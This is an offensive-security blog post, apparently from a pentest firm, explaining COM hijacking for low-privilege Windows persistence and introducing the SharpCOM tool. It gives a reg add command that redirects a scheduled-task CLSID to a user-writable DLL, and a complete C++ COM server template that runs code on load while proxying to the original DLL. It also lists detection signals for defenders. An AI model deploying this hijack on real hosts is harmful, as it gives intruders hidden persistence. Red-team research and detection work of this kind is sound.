COM Hijacking and Proxying
- COM Hijacking Overview
- Finding COM Objects to Hijack
- Modify the HKCU Registry for a Target COM Object
- Creating a COM Server DLL
- Place COM Server DLL on Target Host
- 2026 Update: COM Hijacking in a Modern Windows and EDR Landscape
- Changes in Windows (2023–2026)
- Detection and Telemetry Improvements
- Operational Reality in 2026
- Defensive Takeaways for SharpCOM
- Final Thoughts
- Conclusion
Would you like to learn more?
Download our Pentest Sourcing Guide to learn everything you need to know to successfully plan, scope, and execute your penetration testing projects.
By Joseph Yim, Offensive Security R&D Lead
While there seems to be many tools available for identifying COM hijacks, I did not see many public tools to quickly configure and deploy COM hijacking from a C2, which could be useful during engagements. SharpCOM was created to be able to quickly deploy COM hijacking on Windows targets during post-compromise for low- privileged user persistence.
This blog aims to outline how COM hijacking works, the discovery process, and PoC for SharpCOM.
COM Hijacking Overview
COM Hijacking is the process of modifying registry queries for COM object loading by native applications in Windows. COM (Component Object Model), which is implemented by OLE32.DLL in Windows, is used to provide a language-agnostic interface for handling method invocation for libraries written in different languages.
For example, a DLL written in C would be able to invoke a C# .NET method through loading a COM object. COM hijacking is not new and was first discovered in 2011 by Jon Larimer.
The local or in-process COM object loading process is illustrated as:
An application using COM initializes the COM library by calling CoInitialize(), which is implemented in OLE32.dll
When the application needs to invoke a method through COM, it calls CoCreateInstance() to create an instance of a COM object by first locating a COM server with a given CLSID.
The Service Control Manager (SCM) handles searching through the Windows OS to locate the proper COM server. SCM calls the COM_OpenKeyForCLSID() function with a CLSID string, which queries the Windows registry.
The Windows registry hive is referenced through the virtual registry HKCR, which defaults to searching the HKCU registry in the HKCU\SOFTWARE\Classes\CLSID\ path for the correct COM server DLL. By default, COM servers are defined in HKLM to avoid modification by unprivileged users for a UAC bypass, so no COM servers will be found in HKCU. The exact SubKey will vary depending on type of COM object being invoked.
The HKCR reference by COM_OpenKeyForCLSID() will then search in HKLM with the HKLM\SOFTWARE\Classes\CLSID\ path for the correct COM server DLL, where it’s path is returned
OLE32.dll then calls LoadLibraryEx() to load the COM server DLL, then DllGetClassObject() retrieve a pointer to the class object for the COM handler. Eventually the proper COM object is instantiated and access to the COM interface is granted to the COM client for method invocation.
COM hijacking works by modifying the HKCU registry to point to an attacker-controlled COM server DLL, which gets loaded instead of the correct COM server DLL defined in HKLM. What makes this useful for persistence, is, that by default, no administrative privileges are required on Windows to modify the HKCU registry, as the HKCU registry is meant to reflect user settings. Once the attacker-controlled DLL is loaded through LoadLibraryEx(), then DllGetClassObject() is called first. If we export the DllGetClassObject() in our COM server DLL, then it is possible to execute arbitrary code for user-level persistence once the event-based COM object is successfully loaded.
COM hijacking works through 2 main steps:
Find a suitable COM object to target to hijack
Modify the HKCU registry to point to an attacker-controlled COM server DLL
Create a COM server DLL which will execute under event-based COM object loading
Place COM server DLL on target host
Finding COM Objects to Hijack
Locating COM objects to hijack can be done through many publicly available tools published by other researchers. For a more manual method, I chose to use ProcMon. From ProcMon, apply the following filters on a target Windows system:
Path contains “HKLM”
Path contains “InProcServer32”
Result contains “NAME NOT FOUND”
Persistence with COM comes with the basis that COM is event-driven. This means it is ideal to target certain applications or Windows services which will execute upon an action performed by a user, to regain some form of code execution. One event-based trigger I found which was useful was COM objects tied to scheduled tasks through a COM Handler. The target COM object trigger was tied to the “Work Folders Logon Synchronization” task.
Looking into the CLSID of the COM object, it appears to only be implemented in HKLM within the Windows registry and not in HKCU, resulting in the NAME NOT FOUND error during the COM object loading process for the InprocServer32 SubKey:
C:\Users\>reg query "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}\InprocServer32"
ERROR: The system was unable to find the specified registry key or value.
C:\Users\>reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}\InprocServer32"
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}\InprocServer32
(Default) REG_SZ C:\Windows\System32\WorkFoldersShell.dll
Modify the HKCU Registry for a Target COM Object
To modify the HKCU registry, reg can be used to make the HKCU registry point to an arbitrary COM server DLL, which we will later create and drop on the system.
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}\InprocServer32" /v "" /t REG_SZ /d "C:\Users\lowpriv2\Desktop\serv\WorkFolderShell.dll" /f
As a low-privileged user, no admin permissions are required to make modifications to the HKCU registry.
Creating a COM Server DLL
The InprocServer32 SubKey implies that the underlying COM CLSID for the Work Folders Logon Synchronization task is an in-process COM server and should be implemented as a DLL. The COM object load process also states that DllGetClassObject() must be implemented, and is called first upon COM object load.
Since DllGetClassObject() is exported in the DLL and is executed upon COM object load, this would be an ideal location to execute arbitrary code, which can be re-execution of a C2 beacon, shellcode, or any other form of host-based persistence. For PoC purposes, I will implement a call to OpenProcess() for notepad.exe:
#include "pch.h"
#include "combaseapi.h"
#include "windows.h"
/*
COM Hijacking DLL template
*/
// Export functions
#pragma comment(linker, "/export:DllGetClassObject" )
typedef HRESULT(WINAPI* type_DllGetClassObj)(REFCLSID rclsid, REFIID riid, LPVOID FAR* ppv);
type_DllGetClassObj ptr_DllGetClassObj;
HRESULT DllGetClassObject(REFCLSID rclsid, REFIID riid, LPVOID FAR* ppv) {
STARTUPINFO info = { sizeof(info) };
PROCESS_INFORMATION processInfo;
CreateProcess(L"C:\\Windows\\System32 \\notepad.exe", NULL, NULL, NULL, TRUE, 0, NULL, NULL, &info, &processInfo);
return S_OK;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Another useful export function to add for COM object hijacking is the DllCanUnloadNow() function. While the COM object loading process does not “require” this function, an empty implementation of it can prevent error messages from showing up once the scheduled task completes and unloads the COM server DLL.
#include "pch.h"
#include "combaseapi.h"
#include "windows.h"
/*
COM Hijacking DLL template
*/
// Export functions
#pragma comment(linker, "/export:DllGetClassObject" )
#pragma comment(linker, "/export:DllCanUnloadNow" )
// -- trim –
HRESULT DllCanUnloadNow(void) {
return S_OK;
}
// -- trim --
COM proxying can be added by loading the original COM server DLL, and passing any calls made to the implant COM server DLL towards the original COM server DLL. This can be implemented with GetProcAddress() and specifying a path towards the original COM server DLL.
#include "pch.h"
#include "combaseapi.h"
#include "windows.h"
/*
COM Hijacking DLL template
*/
// -- trim –
HRESULT DllGetClassObject(REFCLSID rclsid, REFIID riid, LPVOID FAR* ppv) {
STARTUPINFO info = { sizeof(info) };
PROCESS_INFORMATION processInfo;
CreateProcess(L"C:\\Windows\\System32 \\notepad.exe", NULL, NULL, NULL, TRUE, 0, NULL, NULL, &info, &processInfo);
// Proxy path definition
char * proxyPath = "C:\\Windows\\System32\\WorkFoldersShell.dll";
char* comFunction = "DllGetClassObject";
// Proxy export functions to original WorkFoldersShell.dll
HMODULE proxyDLL;
proxyDLL = LoadLibrary((LPCWSTR)proxyPath);
ptr_DllGetClassObj = (type_DllGetClassObj)GetProcAddress(proxyDLL, comFunction);
if (!ptr_DllGetClassObj) {
return FALSE;
};
HRESULT hResult = ptr_DllGetClassObj(rclsid, riid, ppv);
return hResult;
}
// -- trim –
The final template will be:
#include "pch.h"
#include "combaseapi.h"
#include "windows.h"
/*
COM Hijacking DLL template
*/
// Export functions
#pragma comment(linker, "/export:DllGetClassObject" )
#pragma comment(linker, "/export:DllCanUnloadNow" )
typedef HRESULT(WINAPI* type_DllGetClassObj)(REFCLSID rclsid, REFIID riid, LPVOID FAR* ppv);
type_DllGetClassObj ptr_DllGetClassObj;
HRESULT DllGetClassObject(REFCLSID rclsid, REFIID riid, LPVOID FAR* ppv) {
STARTUPINFO info = { sizeof(info) };
PROCESS_INFORMATION processInfo;
CreateProcess(L"C:\\Windows\\System32 \\notepad.exe", NULL, NULL, NULL, TRUE, 0, NULL, NULL, &info, &processInfo);
// Proxy path definition
char * proxyPath = "C:\\Windows\\System32\\WorkFoldersShell.dll";
char* comFunction = "DllGetClassObject";
// Proxy export functions to original WorkFoldersShell.dll
HMODULE proxyDLL;
proxyDLL = LoadLibrary((LPCWSTR)proxyPath);
ptr_DllGetClassObj = (type_DllGetClassObj)GetProcAddress(proxyDLL, comFunction);
if (!ptr_DllGetClassObj) {
return FALSE;
};
HRESULT hResult = ptr_DllGetClassObj(rclsid, riid, ppv);
return hResult;
}
HRESULT DllCanUnloadNow(void) {
return S_OK;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Place COM Server DLL on Target Host
Compile the DLL and place it in the target system. Given the previous registry change, I opted to place it in C:\Users\lowpriv2\Desktop\serv\WorkFolderShell.dll. This sample COM hijacking will be shown from the standpoint of a compromised low-privilege, lowpriv2, logging into a workstation.
Additionally, I modified the Work Folders Logon Synchronization scheduled task to execute within 30 seconds instead of 5 minutes to make the video demo shorter. Once the lowpriv2 user logs in, notepad.exe is successfully executed.
2026 Update: COM Hijacking in a Modern Windows and EDR Landscape
Since this article was originally written, the Windows platform and endpoint detection landscape have evolved significantly.
While COM hijacking remains a valid conceptual persistence technique, its practical reliability, stealth, and longevity have changed in modern enterprise environments.
Changes in Windows (2023–2026)
Recent Windows 11 builds and Windows Server releases have not removed COM hijacking outright, but several platform trends affect its usability:
Expanded Attack Surface Reduction (ASR) rules now provide stronger telemetry around:
Unusual COM object loading paths
DLL loads from user-writable locations
COM servers loaded outside expected trust boundaries
Protected Process Light (PPL) adoption has increased for system services and scheduled tasks, reducing the number of COM-based triggers accessible to low-privilege users.
Scheduled task hardening has improved, and many legacy COM handler-based tasks (including Work Folders-related components) are:
Disabled by default
Absent on cloud-joined or Intune-managed systems
Rarely triggered in real-world enterprise workflows
As a result, threat actors can no longer assume that historically reliable COM CLSIDs will exist or execute consistently across Windows versions.
Detection and Telemetry Improvements
From a defensive standpoint, COM hijacking has transitioned from a “quiet” persistence method to a well-understood behavioral pattern:
Common detection signals now include:
Registry writes under:
HKCU\Software\Classes\CLSID\*\InprocServer32
DLL load events where:
The COM server path resolves to a user directory
The DLL is unsigned or mismatched with the expected publisher
COM activation chains where:
A user-level COM override precedes a system-context process load
Modern EDR platforms increasingly correlate registry modification, COM activation, and DLL execution into a single alert, significantly reducing dwell time for this technique.
Operational Reality in 2026
In contemporary engagements, COM hijacking is best understood as:
Situational: dependent on specific host configurations.
Short-lived: often detected within minutes to hours
Low-value for long-term persistence compared to:
Token-based abuse
Cloud identity persistence
Living-off-the-land scheduled execution paths
For Red Teams, COM hijacking is now more appropriate as:
A learning exercise for understanding Windows object resolution
A controlled lab demonstration of user-level persistence concepts
And a supplementary technique, not a primary foothold mechanism
Defensive Takeaways for SharpCOM
Tools like SharpCOM remain useful from an educational and research perspective, particularly for demonstrating:
How COM resolution prioritizes HKCU over HKLM
Why legacy Windows design decisions still matter
How small registry changes can alter execution flow
However, operators should assume:
Predefined CLSID lists will age quickly
Static COM targets are brittle across Windows builds
Detection is likely in any monitored enterprise environment
Future research in this area benefits more from defensive mapping and detection validation than from expanding offensive automation.
For defenders, this technique reinforces several best practices:
Monitor user-writable COM registrations
Alert on InprocServer32 paths outside system directories
Baseline expected COM usage for scheduled tasks and shell extensions
Treat COM hijacking as an early-stage signal, often preceding additional actions
Final Thoughts
COM hijacking remains an important part of Windows internals history and an instructive example of how flexibility can introduce risk. In 2026, its primary value lies less in stealthy persistence and more in:
Training
Detection engineering
Understanding legacy attack surface inheritance
As Windows continues to evolve toward identity- and cloud-centric security models, techniques like COM hijacking increasingly serve as case studies rather than go-to persistence mechanisms.
Conclusion
SharpCOM automates the entire COM hijacking process above, but only targets pre-defined COM objects. Currently I have defined 1 CLSID to work with SharpCOM with plans to add more:
Work Folders Logon Synchronization: {97D47D56-3777-49FB-8E8F-90D7E30E1A1E}
SharpCOM is compiled in .NET 4.0 and is compatible with .NET reflection and sharp-inline assembly execution methods. SharpCOM has been tested with the Bruteratel C2 v2.1.2 framework. At the time of writing, this tool has been successfully tested against:
Windows 10.0.22621 Build 22621
Microsoft Windows Server 2025 Datacenter
Across different Windows versions, sometimes COM object CLSIDS persist, meaning the same type of hijack can be performed on different Windows hosts provided the same CLSID exists.
Learn more about this technique on our GitHub repository.
Contact Us
Speak with an Account Executive
Interested in Pentesting?

Penetration Testing Methodology
Our Penetration Security Testing methodology is derived from the SANS Pentest Methodology, the MITRE ATT&CK framework, and the NIST SP800-115 to uncover security gaps.
Download Methodology
Pentest Sourcing Guide
Download our Pentest Sourcing Guide to learn everything you need to know to successfully plan, scope, and execute your penetration testing projects.
Download GuideExplore in-depth resources from our ethical hackers to assist you and your team’s cyber-related decisions.

September 13 - Blog
Why Multi-Factor Authentication is Not Enough
Knowing is half the battle, and the use and abuse of common frameworks shed insight into what defenders need to do to build defense in depth.

November 19 - Blog
The Top Cybersecurity Statistics for 2024
The top cybersecurity statistics for 2024 can help inform your organization's security strategies for 2025 and beyond. Learn more today.

October 24 - Blog
Packetlabs at SecTor 2024
Packetlabs is thrilled to have been a part of SecTor 2024. Learn more about our top takeaway's from this year's Black Hat event.




